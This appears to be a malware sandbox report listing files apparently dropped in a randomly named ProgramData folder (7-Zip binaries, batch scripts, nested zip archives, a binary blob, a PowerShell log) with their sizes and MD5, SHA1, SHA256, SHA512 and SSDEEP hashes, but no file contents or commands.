Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.3MB
SHA256 c3b2026b6a3b4dfce6d767d6c97be266ac4e9f4f6ddc275d2e0578ba36baca04
MD5 e23274001ca34badb729e5c7f0bc7345
SHA1 7a4fec2050fd06cac4c47ccebd16026b56e1b73a
SHA512 67e64f3b771439ebbf4fc22457f7a7109c91fc449a819dd6570ab96045b2b0ad35b3b599c8f67ea98ba18d384028e5a786d9e5dd82cda2f93d7e33f2c2bf0092
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypE7:jclmJSVARa86xzW3xRoyq7
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.1MB
SHA256 e6599af57a6090867ff66c825864e503da525ae1517e1432cac8ad10392e6f38
MD5 976e8591f42ee9fdf2c81b67fe770b88
SHA1 6c8ab3f7ef889ab00c4c8d8d88acdfe0d8ccfcee
SHA512 1525d75fcd7aeb67b90d356abfa7b9bc493d0cd49b0de70100ba6cc730b09e7309b20e8404cb3e0f0253bc47b5ee59670a2b1a8de2ba934b1209006ec2872f0c
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zy9:jclmJSVARa86xzW3xRoy9
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 1.1MB
SHA256 c8b2b470c469d7603d2e44228e5140b147446d2d814b2cd2ce8271a4e5d6e053
MD5 7f2a2e0cb519df1bb6b7f458bc0eb250
SHA1 6a829da926f1da1c5e58ed8934d11545862233b3
SHA512 85ba3324d6743ba80796dc862506cf10196d51f1bc16ada18b9b6bf1cec096c8763909aed67f2e069dac2c059257e1c16cff27878e1186e3f93902c9cd29ebfa
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zy8:jclmJSVARa86xzW3xRoy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.dll
Size 974KB
SHA256 3d2baa47842705573f3f3641b2717c373bb18e45200dd43f4557b811342ee3ef
MD5 ea3193f19b72f3edffc1c5452c210303
SHA1 e2602f5e0cb5c41157f437fecefef1c0349b5b2c
SHA512 73266263a66273096f27f5887ca9560349d35427162f19be3370c3d75b02a4ae78cb9c2933d412af14b150daff818fe96a1c0d0244b61079681809027f399d20
SSDEEP 24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bY0:jclmJSVARa86xzW3f
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.exe

Path C:\ProgramData\dDWZgIfB3cDEsz\7z.exe
Size 458KB
SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
MD5 619f7135621b50fd1900ff24aade1524
SHA1 6c7ea8bbd435163ae3945cbef30ef6b9872a4591
SHA512 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628
SSDEEP 6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5 SHA1 SHA512 SSDEEP

Submit Download

avNIprUwIk.bat

Path C:\ProgramData\dDWZgIfB3cDEsz\avNIprUwIk.bat
Size 22KB
SHA256 4a505f646a87f41b4163dc42a8f2ddbd0a64be29392dbf8c8b693cba9c72aaf8
MD5 b0a7842dd51df8942bc8b837282d1c2b
SHA1 0e9432597657c28ca9ac766ac7bf0a903d6aeb3b
SHA512 b65e7c5a08e1dace4b72861e7ecf95ebc68e9d2d624eac79fca2d1449a51d11271c4c837e72886c29713d320adf1ec3f02f7a89c633978e8dc6acb3fbec6e3a6
SSDEEP 384:uOB7sxMr6xKROLQuqZ2922ID/RwrCfZ0+wcT:nB7sxMr6xUL
MD5 SHA1 SHA512 SSDEEP

Submit Download

delXPDUR9c.bat

Path C:\ProgramData\dDWZgIfB3cDEsz\delXPDUR9c.bat
Size 111B
SHA256 0ef02b5ebb5f59c70722fc29651ad48a49b2b4d87f33416b1b06c8a038475243
MD5 308ba58a50ffa9eabd31fdba79af6dd1
SHA1 29c09164facb6419f9d7f9e103f7e13bed4743a1
SHA512 674edfeacf8c6e606a80187f95dc16abcc0804f18c2b2e81734cf4f7e6d1f68e9db5827f18107c0882506aba47485665471c37acd2b9ad50ca075eb083a9582f
MD5 SHA1 SHA512

Submit Download

file_10.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_10.zip
Size 949KB
SHA256 c35ee6f83c52b8bed24f3ce16d2d0cefc4d2c8808df3c0526b4eda5b2d51beef
MD5 c441d5711e3bd95fb0dd573514df2ee5
SHA1 aacf843613a07248eacaa2f853903500f888a0d3
SHA512 d12582d924e2c2356902c6bd892591b5406f52d0f41ccbd73838749bde792b9b1fa13fe6db562c82515ac44a700fed1c88a2f76f6499a1fdb81ae575757ca321
SSDEEP 24576:lP4+ZTRLyiqJ88+f4KT8h2N77Np6ykthhxKni:l4+ZTRmiqW8u3pN77wUni
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_11.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_11.zip
Size 1.5MB
SHA256 db5315ebea245455836b10792da0993edbd2c56210f7ac43ed8cf612c50f3c92
MD5 d0fc88f8e219bc00016e5e70037f5ce0
SHA1 3d067bb057deef4891fc75688be184035e0345d8
SHA512 074aef0b6c39510dabaf84f29dff4c7839de151ee7b001ed657c44ff28e658c49528e4f3958fcc76a3563581cbbd0f6b33b5540e34cdd78c6d7156e886e70cb7
SSDEEP 24576:mbI/7AAb+JQl3Vd02kOC/l5X4/KiROMdWbBkDC6SX39qbwK1ZNKdvLI6:mujCK3D0AC/l5mwbBkDWYb1ZN4U6
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_2.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_2.zip
Size 816KB
SHA256 5f797bac182a4c03bedd35826ad541ba8c5aa8acf68cdca3ff79c06eecb8cff1
MD5 fde8bfbc08648b0c56e2756ad32975d9
SHA1 a8868fba4b4f8911db4b28f370708f59d83bfa7d
SHA512 48dfd1fcec20eb31db351c4782ded40aeea6a1b3ef9a1caf6c56201aa575742853d662ab88d113834690825d98cbcb64adbc7825356ae565d888335a888752ea
SSDEEP 12288:DAztj4yZh9p+ls4YcxKN9+OACmhDuSap/vo9IBP/+S15pPahuzJHz1vdkAT6gu2a:ij4yZXpPm8khCSaF+kShaHz1vH6Yml
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_3.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_3.zip
Size 948KB
SHA256 84edda0407d56082d67e6400d577db20bfb136b35ab961624a840e705a3fe17c
MD5 57dd321d14889ea7dcf1411c660533d6
SHA1 018638c2e7651f3ec6937b96ed1881a59db63a6b
SHA512 00dce7bc7df09a414d1be49970ee1de23ee0cd22125932fbb0930c2858959e037ccf0d0a83d6c60ca201758a460f88d495d38bad71b72964a89f32fa3401d895
SSDEEP 24576:2j4yZXpPm8khCSaF+kShaHz1vH6YmLfZFEr:q4yZXpO8k0S+dHz1Wkr
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_4.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_4.zip
Size 949KB
SHA256 490aabf880829f64c5b5682dcc611ec6c5d0f5e7c5d0a963d0f00a3f97b7367f
MD5 59b896586328f516857084b4e64453f6
SHA1 58661ca51ae867b9e322dcbb87886c25c663f52b
SHA512 9f97494d2d9a091a955fdbe7ac8599b57d2b65fe92c73dcdbdc74ffa29c74cd527b157f4322a72705473c87def56d43dd03fb7a67d79700038d7a726b2a60055
SSDEEP 24576:zj4yZXpPm8khCSaF+kShaHz1vH6YmLfZFE0:f4yZXpO8k0S+dHz1Wk0
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_5.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_5.zip
Size 949KB
SHA256 c543352fb739338dc8ae23b20052a473097ef85c6acc35a2c116370d2f14d2d3
MD5 ae9f12f371dfa64de0c280515fde65a6
SHA1 d2f8f0588d4ac8168367ff516dc378e3c957897f
SHA512 de2caa0920075a3a374f4f1e80d477ce225337f46d8970ae430e598ad2565e19c7774df0730b0711428ad5b5fbc00764a43aa4d7855288a56a4af5b83cae7131
SSDEEP 24576:Hj4yZXpPm8khCSaF+kShaHz1vH6YmLfZFEZ:D4yZXpO8k0S+dHz1WkZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_6.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_6.zip
Size 949KB
SHA256 ac101aa441378ddf7e049718621aa93beccccff6d3054796796ea40e89b66864
MD5 ed746fca4dbe5f0f50729095b7d65582
SHA1 8dc586cc67298380c2328d458cfd7ec505763075
SHA512 2984cd27dcaaed639ef53ae6c5646c8fabde4bc3d2cd44612f382727eabd3273694c94e8d2359a16ba27647c77131ec2e62486b89999a1dbea0936833749a7a9
SSDEEP 24576:7j4yZXpPm8khCSaF+kShaHz1vH6YmLfZFE9:n4yZXpO8k0S+dHz1Wk9
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_7.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_7.zip
Size 949KB
SHA256 6216c409eb61c77e21d882ea9872fae1fe54ba50eed84a3b8008e80c491691c3
MD5 ae804e3b0265d764ebd16592c1c72a9b
SHA1 c3e44e07db31bc01ca1b4768f1341f4cc2aa657c
SHA512 d803908814d89c944f20c7aba5da837ecf8a6f3a4e4fb0d06b572a3aabffb95476bb5d96d0b654003d0697a6ae91e210884d213e32e7aa79157ed65473344dce
SSDEEP 24576:xP4+ZTRLyiqJ88+f4KT8h2N77Np6ykthhxKnJ:B4+ZTRmiqW8u3pN77wUnJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_8.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_8.zip
Size 949KB
SHA256 f81e1b2298533aca21928ee07e61bd59664631405582662bee331bc97c52da6b
MD5 a3eefa4eb17a55a19598602f9530f7c6
SHA1 26954afa7e842f10926968610f4d95d0c40f942a
SHA512 932821f33d9a636d8b3002d1eeaaf62bac55c39670a29283d5b64ade191335f759d29b18cf9af74f3486613f29bec9e141cb303c5e1ed549189324a8cf856f6a
SSDEEP 24576:yP4+ZTRLyiqJ88+f4KT8h2N77Np6ykthhxKn3:+4+ZTRmiqW8u3pN77wUn3
MD5 SHA1 SHA512 SSDEEP

Submit Download

file_9.zip

Path C:\ProgramData\dDWZgIfB3cDEsz\extracted\file_9.zip
Size 949KB
SHA256 d0a9c80e91df5d77e820ff136bc4cc9193f4dc72a540ffd7e49fda34591c1fdc
MD5 5082396bd2ea5a00e117b8262c15e5a1
SHA1 65c87fa1c74a9f19793319fe5f0cf5418afa3d7d
SHA512 14bbea80376660abdfcdbc1d1db512ed99cf3dc74294fce4dac6084b3fbd4dfebe302be26b7cd06c9ae1332cb3f771885b43760ecac4825657fcab7c822f120f
SSDEEP 24576:pP4+ZTRLyiqJ88+f4KT8h2N77Np6ykthhxKn3:54+ZTRmiqW8u3pN77wUn3
MD5 SHA1 SHA512 SSDEEP

Submit Download

file.bin

Path C:\ProgramData\dDWZgIfB3cDEsz\file.bin
Size 2.4MB
SHA256 a0fb05d42ad16ece373d23383a1b6e6b4bf4b29dcc24bb75d1440ba24c92b549
MD5 91f43c2d2c974c653842129d57dff6f9
SHA1 642e7c9d23b769f667907df85cf376f9df8f036f
SHA512 15cb42a42ba0ac8bddc003601d659da5d2eea35976de0550e4dfa8b8574781b602de0b4fa95bef8924dd1c54a112db4bf35e924d9dd79dbdae59ae878433f98f
SSDEEP 49152:O8W6AshEyKoKeHJLXSnE8tO+ODOkyiYcY2g8aNEOviBtySQaO4oz:nW6AshEyrFunEuO+ODXQcY8aNESiCSQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

main.bat

Path C:\ProgramData\dDWZgIfB3cDEsz\main.bat
Size 405B
SHA256 aa529b4663e2664fc8629b15c59cb7b613f9451bc78a58cce7aec2112a95b372
MD5 3daec3601ed9efd5654b021771d2d9e5
SHA1 538741c7b1430182abc2e7f3965f6bfb5942a523
SHA512 fd7e7eb26be0b644cc8a9a3031d513faa7708cacce0612f86437f77d8c26e1a98dfff8540d4c3d9d4efeb3a3320fccd716bfbca805d53b4520c37ba0b5cc3568
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
MD5 SHA1 SHA512

Submit Download